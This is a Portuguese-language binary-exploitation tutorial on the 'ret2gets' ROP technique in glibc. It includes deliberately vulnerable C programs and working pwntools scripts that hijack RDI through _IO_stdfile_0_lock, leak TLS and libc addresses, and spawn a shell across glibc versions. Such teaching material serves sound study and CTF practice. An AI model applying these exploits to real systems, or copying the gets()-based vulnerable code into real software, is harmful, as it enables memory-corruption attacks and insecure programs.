# Ret2gets

A função `gets()` é notoriamente insegura devido à sua forma de funcionamento: ela lê uma sequência de caracteres da entrada padrão até encontrar um caractere de nova linha (), sem realizar qualquer tipo de verificação de tamanho. Isso permite que um atacante sobrescreva partes da pilha, causando *buffer overflows*. Porém, além dessa vulnerabilidade, `gets()` possui uma característica que pode ser explorada de maneira bastante útil, especialmente em *exploits* que utilizam **ROP (Return-Oriented Programming)**.

## Registrador RDI

Em arquiteturas **x86\_64 (64 bits)**, os parâmetros das funções são passados através de registradores, e o primeiro argumento é sempre armazenado no registrador **RDI**. No caso da função `gets()`, espera-se que **RDI** contenha um ponteiro para uma região de memória com permissão de escrita, onde os dados digitados serão armazenados.

Esse comportamento pode se tornar um obstáculo em determinados cenários de exploração, pois nem sempre é possível controlar diretamente o valor de **RDI**, o que inviabiliza, por exemplo, chamadas diretas como `system("/bin/sh")` dentro de uma cadeia **ROP**.

É justamente aí que a `gets()` pode ser explorada a nosso favor. Ao ser chamada com **RDI** apontando para uma região controlada (ou previsível), ela pode nos fornecer um local de escrita arbitrário que persiste após a execução, facilitando o controle de ponteiros para estágios posteriores do exploit.

Considere o seguinte código de exemplo:

{% code title="ret2gets.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>

int main() {
    char buffer[10];
    puts("Consegue descobrir o que se esconde por trás do funcionamento da gets?");
    gets(buffer);
    return 0;
}
```

{% endcode %}

Ao executarmos esse programa com o auxílio do PwnDbg, podemos definir um *breakpoint* logo após a chamada da função `gets()` e inspecionar o valor do registrador **RDI**:

```bash
 RAX  0x7fffffffdce6 ◂— 0x7fff006161616161 /* 'aaaaa' */
 ...
 RDI  0x7ffff7fa9720 (_IO_stdfile_0_lock) ◂— 0
 RSI  0x61616161
 ...
 RBP  0x7fffffffdcf0 —▸ 0x7fffffffdd90 —▸ 0x7fffffffddf0 ◂— 0
 RSP  0x7fffffffdce0 ◂— 0x61617fffffffddd0
 RIP  0x401182 (main+44) ◂— mov eax, 0
```

Notamos que **RDI** armazena o endereço `_IO_stdfile_0_lock`, que pertence a uma região da memória da *libc* com permissões de leitura e escrita.

```bash
pwndbg> vmmap $rdi
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x7ffff7fa7000     0x7ffff7fa9000 rw-p     2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
►   0x7ffff7fa9000     0x7ffff7fb6000 rw-p     d000      0 [anon_7ffff7fa9] +0x720
    0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000      0 [anon_7ffff7fbd]
```

## Entendendo o \_IO\_stdfile\_0\_lock

Antes de vermos como isso pode nos ajudar em *exploits*, é importante entender o que é a `_IO_stdfile_0_lock`. Para isso, devemos lembrar que a *libc* é uma biblioteca com suporte a múltiplas *threads*, e por conta disso, precisa implementar mecanismos para evitar problemas como *deadlocks* e *race conditions*. De forma resumida, esses problemas ocorrem quando *threads* ficam presas esperando recursos indefinidamente (*deadlock*), ou quando competem entre si para acessar um recurso compartilhado de maneira não sincronizada (*race condition*).

Uma das principais estratégias para evitar essas condições é o uso de *locks*, que impedem o acesso simultâneo a uma determinada estrutura ou recurso por mais de uma *thread*. Um exemplo claro disso está na função [gets() da glibc 2.35](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/iogets.c#L31).

{% code title="gets-2.35.c" overflow="wrap" lineNumbers="true" %}

```c
char *
_IO_gets (char *buf)
{
  size_t count;
  int ch;
  char *retval;

  _IO_acquire_lock (stdin);
  ch = _IO_getc_unlocked (stdin);
  if (ch == EOF)
    {
      retval = NULL;
      goto unlock_return;
    }
  if (ch == '\n')
    count = 0;
  else
    {
      /* This is very tricky since a file descriptor may be in the
	 non-blocking mode. The error flag doesn't mean much in this
	 case. We return an error only when there is a new error. */
      int old_error = stdin->_flags & _IO_ERR_SEEN;
      stdin->_flags &= ~_IO_ERR_SEEN;
      buf[0] = (char) ch;
      count = _IO_getline (stdin, buf + 1, INT_MAX, '\n', 0) + 1;
      if (stdin->_flags & _IO_ERR_SEEN)
	{
	  retval = NULL;
	  goto unlock_return;
	}
      else
	stdin->_flags |= old_error;
    }
  buf[count] = 0;
  retval = buf;
unlock_return:
  _IO_release_lock (stdin);
  return retval;
}
```

{% endcode %}

Podemos observar que a função utiliza os macros `_IO_acquire_lock` e `_IO_release_lock` para adquirir e liberar um *lock* em torno da estrutura `stdin`. Isso significa que, ao ser chamada, `gets()` tenta bloquear a estrutura associada à entrada padrão. Caso ela já esteja em uso por outra *thread*, será necessário esperar até que o *lock* seja liberado.

Para que isso funcione, a estrutura `FILE` utilizada pela *glibc* possui um campo chamado [\_lock](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/bits/types/struct_FILE.h#L81), que aponta para uma estrutura do tipo `_IO_lock_t`:

{% code title="\_IO\_lock\_t.c" overflow="wrap" lineNumbers="true" %}

```c
typedef struct { 
    int lock; 
    int cnt; 
    void *owner; 
} _IO_lock_t;
```

{% endcode %}

Esses campos são fundamentais para o controle de concorrência:

* `lock`: indica se a estrutura está bloqueada no momento;
* `cnt`: conta o número de tentativas de aquisição do *lock*;
* `owner`: é um ponteiro para a estrutura da *thread* atual, localizada na **TLS (Thread Local Storage)** — por curiosidade, essa região está associada ao registrador `fs`, o mesmo onde o *canary* de proteção de *stack* é armazenado.

No caso da `gets()`, a instância `_IO_stdfile_0_lock` representa o *lock* associado ao `stdin`. Então, quando a função tenta adquirir o *lock*, ela acessa essa estrutura para verificar se o recurso está disponível. Esse comportamento pode ser explorado em certas situações, como veremos a seguir.

## Exploits

Essa característica pode ser explorada com diferentes propósitos: manipular o valor do registrador **RDI**, vazar o endereço da *libc*, ou até mesmo ambos em sequência.

### Manipulando RDI

Como vimos anteriormente, ao final da execução da função `gets()`, o registrador **RDI** contém um ponteiro para a estrutura de *lock* utilizada — no caso, `_IO_stdfile_0_lock`.

Sabendo disso, se chamarmos `gets()` novamente, desta vez estaremos sobrescrevendo diretamente os campos dessa estrutura. Isso nos permite manipular o que estará armazenado no registrador **RDI** após essa segunda chamada. Com os valores corretos, podemos fazer com que **RDI** aponte, por exemplo, para a *string* `"/bin/sh"` — exatamente o que a função `system()` espera para abrir um *shell*.

{% hint style="warning" %}
**Importante**: É preciso atenção ao campo `cnt` da estrutura `_IO_lock_t`. Se ele for zerado ou manipulado incorretamente, os demais valores podem ser sobrescritos ou reconfigurados pela *glibc*, corrompendo nossa *string*. Felizmente, isso pode ser contornado simplesmente atribuindo um valor diferente de 1 a esse campo.
{% endhint %}

Vamos considerar o seguinte programa vulnerável:

{% code title="ret2gets2.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

// gcc ret2gets2.c -o ret2gets2 -no-pie -fno-stack-protector
int main() {
    char buffer[10];
    printf("Vamos ver se você realmente aprendeu! Tome isso como presente: %p\n", system);
    gets(buffer);
    return 0;
}
```

{% endcode %}

Com base nesse código, podemos obter acesso a um terminal interativo com o seguinte *script*:

{% code title="solve2.py" overflow="wrap" lineNumbers="true" %}

```py
from pwn import *

elf = context.binary = ELF("./ret2gets2")
p = process()

# Vazando a system.
p.recvuntil(b"presente: ")
system = int(p.recvline(keepends=False).decode(), 16)

# Montando cadeia.
payload = b"A" * 18 + p64(elf.plt["gets"]) + p64(system)
p.sendline(payload)

# Reescrevendo a _IO_stdfile_0_lock.
# O +1 é necessário pois ao dar unlock, o cnt é decrementado.
payload = b"/bin" + p8(u8(b"/") + 1) + b"sh"
p.sendline(payload)

# Boom.
p.interactive()
```

{% endcode %}

{% hint style="info" %}
**Curiosidade**: Após a reescrita da estrutura com a *string* `"/bin/sh"`, o valor é mantido mesmo após novas interações, pois o uso dos *locks* apenas incrementa e depois decrementa o campo `cnt`, mantendo a *string* inalterada.
{% endhint %}

### Vazando a libc

Nem sempre o endereço da *libc* estará disponível diretamente, mas a função `gets()` pode ser explorada para vazá-lo de diferentes maneiras. Como já temos controle sobre o registrador **RDI**, uma das abordagens possíveis é inserir uma *format string* na estrutura `_IO_stdfile_0_lock` e então chamar a função `printf()`.

Outra estratégia é usar a função `puts()` para imprimir o valor do campo `owner` da estrutura. Isso é útil porque a **TLS (Thread-Local Storage)** costuma ser carregada em um endereço próximo ao da *libc*. A partir desse valor, podemos calcular o *offset* até a base da *libc*.

{% hint style="warning" %}
**Importante**: Não existe um padrão fixo entre os *offsets* da **TLS** e da *libc*. Isso significa que o *script* pode funcionar localmente, mas falhar em um ambiente remoto devido a variações nos endereços de memória.
{% endhint %}

Para que essa técnica funcione corretamente, precisamos considerar alguns pontos:

* `gets()`: termina a *string* com um *byte* nulo (`\x00`);
* `puts()`: imprime até encontrar o primeiro *byte* nulo;
* `owner`: recebe `NULL` caso o campo `cnt` da estrutura seja igual a 1.

Como a estrutura `_IO_stdfile_0_lock` começa com os campos `lock` e `cnt` (ambos com 4 *bytes*), precisamos preencher um *padding* de 8 *bytes* antes de alcançar o campo `owner`. No entanto, esse preenchimento não pode conter *bytes* nulos, senão o `puts()` irá parar prematuramente a impressão.

Uma forma de contornar isso é explorar a verificação feita ao liberar um *lock*: `--cnt == 0`. Se atribuirmos `cnt = 0`, ao ser decrementado ele se tornará -1 (representado como `0xFFFFFFFF` em hexadecimal), evitando a atribuição de `NULL` ao `owner` e garantindo que o campo contenha um valor útil para vazamento — e sem nenhum *byte* nulo.

Com isso em mente, veja o exemplo a seguir:

{% code title="ret2gets3.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

// gcc ret2gets3.c -o ret2gets3 -no-pie -fno-stack-protector
int main() {
    char buffer[10];
    puts("Dessa vez nenhum presente sera oferecido! Voce esta por conta propria.");
    gets(buffer);
    return 0;
}
```

{% endcode %}

Com base nesse código, podemos vazar um endereço da **TLS** usando o seguinte *script*:

{% code title="solve3.py" overflow="wrap" lineNumbers="true" %}

```py
from pwn import *

elf = context.binary = ELF("./ret2gets3")
p = process()

# Construindo a cadeia ROP: chama gets() e depois puts().
payload = b"A" * 18 + p64(elf.plt.gets) + p64(elf.plt.puts)
p.sendlineafter(b"Dessa vez nenhum presente sera oferecido! Voce esta por conta propria.\n", payload)

# Sobrescrevendo _IO_stdfile_0_lock com cnt = 0 (evita NULL em owner).
p.sendline(b"A" * 4 + b"\x00" * 3)

# Vazando o valor de owner (endereços da TLS).
p.recv(8) #Descarta lock e cnt.
tls = u64(p.recv(6) + b"\x00\x00")
print(f"TLS: {hex(tls)}")
```

{% endcode %}

{% hint style="warning" %}
**Importante**: Esse *script* só é funcional nas versões da *libc* entre 2.30 e 2.36. Em versões anteriores, o valor do registrador **RDI** só é atualizado em situações específicas. Já em versões mais recentes, uma verificação adicional foi implementada. Ainda assim, há formas alternativas de explorar esse comportamento, como veremos a seguir.
{% endhint %}

### Vazando a libc na 2.37+

A partir da versão 2.37 da *libc*, foram introduzidas verificações adicionais relacionadas ao uso de múltiplas *threads*, incluindo a checagem se `cnt != 0` antes de permitir o decremento. Isso impede a antiga técnica de simplesmente definir `cnt = 0` e forçar a subtração para resultar em `0xFFFFFFFF`.

Para contornar essa limitação, vamos precisar invocar a função `gets()` duas vezes. A ideia é: na primeira chamada, sobrescrevemos parcialmente a estrutura `_IO_stdfile_0_lock`, e na segunda, forçamos o `gets()` a inserir um *byte* nulo no campo `cnt`. Dessa forma, conseguimos manipular a estrutura de modo que ela passe pela verificação de *lock* e ainda permita o vazamento da **TLS** — e, consequentemente, o cálculo da base da *libc*.

Analisando a estrutura da `_IO_stdfile_0_lock` durante o processo:

* Após o primeiro `gets()`:
  * `lock` = 0
  * `cnt` = LIXO (qualquer valor)
  * `*owner` = LIXOLIXO
* Durante o segundo `gets()` (aquisição do *lock*):
  * `lock` = 1
  * `cnt` = LIXO
  * `*owner` = TLS
* Meio do segundo `gets()` (reescrevendo a estrutura):
  * `lock` = LIXO
  * `cnt` = LIX\x00
  * `*owner` = TLS
* Final do segundo `gets()` (liberação do *lock*):
  * `cnt` = LIX\x00 - 1 → resultando em `0x4C4957FF`, sem *bytes* nulos.

Essa técnica funciona tanto em ambientes com uma única *thread* quanto com múltiplas, pois a modificação de `owner` já ocorre logo na primeira entrada.

Usando novamente o código `ret2gets3.c`, podemos escrever um *script* funcional para versões da *libc* 2.37+:

{% code title="solve4.py" overflow="wrap" lineNumbers="true" %}

```py
from pwn import *

elf = context.binary = ELF("./ret2gets3")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process()

# Construindo a cadeia ROP.
payload = b"A" * 18 + p64(elf.plt.gets) + p64(elf.plt.gets) + p64(elf.plt.puts) + p64(elf.sym.main)
p.sendlineafter(b"Dessa vez nenhum presente sera oferecido! Voce esta por conta propria.\n", payload)

# Sobrescrevendo _IO_stdfile_0_lock com lixo.
p.sendline(p32(0) + b"LIXO" + b"LIXOLIXO")
p.sendline(b"LIXO")

# Vazando o valor de owner (endereços da TLS).
p.recv(8) #Descarta lock e cnt.
tls = u64(p.recv(6) + b"\x00\x00")

# Setando a libc (o 0x28C0 foi encontrado via debugging).
libc.address = tls + 0x28C0

# Ganhando acesso ao terminal.
payload = b"A" * 18 + p64(elf.plt.gets) + p64(libc.sym.system)
p.sendline(payload)
p.sendline(b"/bin" + p8(u8(b"/") + 1) + b"sh")
p.interactive()
```

{% endcode %}

## O que fazer caso o RDI não seja igual a \_IO\_stdfile\_0\_lock

Em alguns desafios, ao final de uma cadeia de chamadas, o registrador **RDI** — que é usado para passar o primeiro argumento para funções no *calling convention* do x86\_64 — pode não estar apontando diretamente para `_IO_stdfile_0_lock`. Felizmente, existem diversas estratégias para contornar isso. Aqui focamos em soluções diretas para os casos mais comuns. Para uma explicação mais completa, veja a [primeira referência](https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets).

### Caso 1: RDI aponta para uma região com permissão de escrita

Se o valor contido em **RDI** for um endereço que possui permissão de escrita (como `.bss`, `.data`, ou até a pilha), você pode simplesmente chamar `gets()` novamente.

Isso porque `gets()` aceita qualquer endereço gravável como destino de escrita, e no fim da função, o registrador **RDI** será atualizado para `_IO_stdfile_0_lock`.

### Caso 2: RDI aponta para uma região somente de leitura

Como `gets()` exige permissão de escrita, esse cenário causaria uma falha. Porém, há uma solução indireta:

* Chame `puts()` com o valor atual de **RDI**.

A `puts()` apenas lê o conteúdo, não escreve. E, após sua execução, **RDI** geralmente é atualizado para algum endereço com permissão de escrita caindo no caso anterior.

### Caso 3: RDI é nulo

Quando **RDI** está com valor `0x0`, algumas funções podem ser usadas para manipulá-lo indiretamente:

* `printf(NULL)`: Ignora a chamada e apenas retorna. O programa segue normalmente, e **RDI** costuma receber um endereço válido e gravável;
* `fflush(NULL)`: Quando chamada com `NULL`, o parâmetro é interpretado como todos os arquivos abertos, e **RDI** normalmente acaba apontando para uma região válida da pilha.

### Caso 4: RDI contém lixo

Se o valor de **RDI** é completamente aleatório, há funções tolerantes a isso que podem nos devolver algo útil:

* `rand(junk)`: A função ignora o parâmetro e, ao ser chamada, pode fazer com que **RDI** passe a apontar para `unsafe_state` da *glibc* (área interna usada pelo RNG), que normalmente possui permissão de escrita;
* `getchar(junk)` ou `putchar(junk)`: Apesar de não confiáveis, em alguns casos podem resultar em **RDI** se tornando `NULL` ou algum valor seguro, redirecionando para os casos anteriores.

## Referências

[Pwn-notes](https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets) - Principal referência para esta pesquisa, recomendo dar uma olhada, tem muito mais detalhes além de um *script* para identificação do **RDI** retornando com o `_IO_stdfile_0_lock`.

[bootlin](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio) - Útil para ver o código fonte da *libc*.
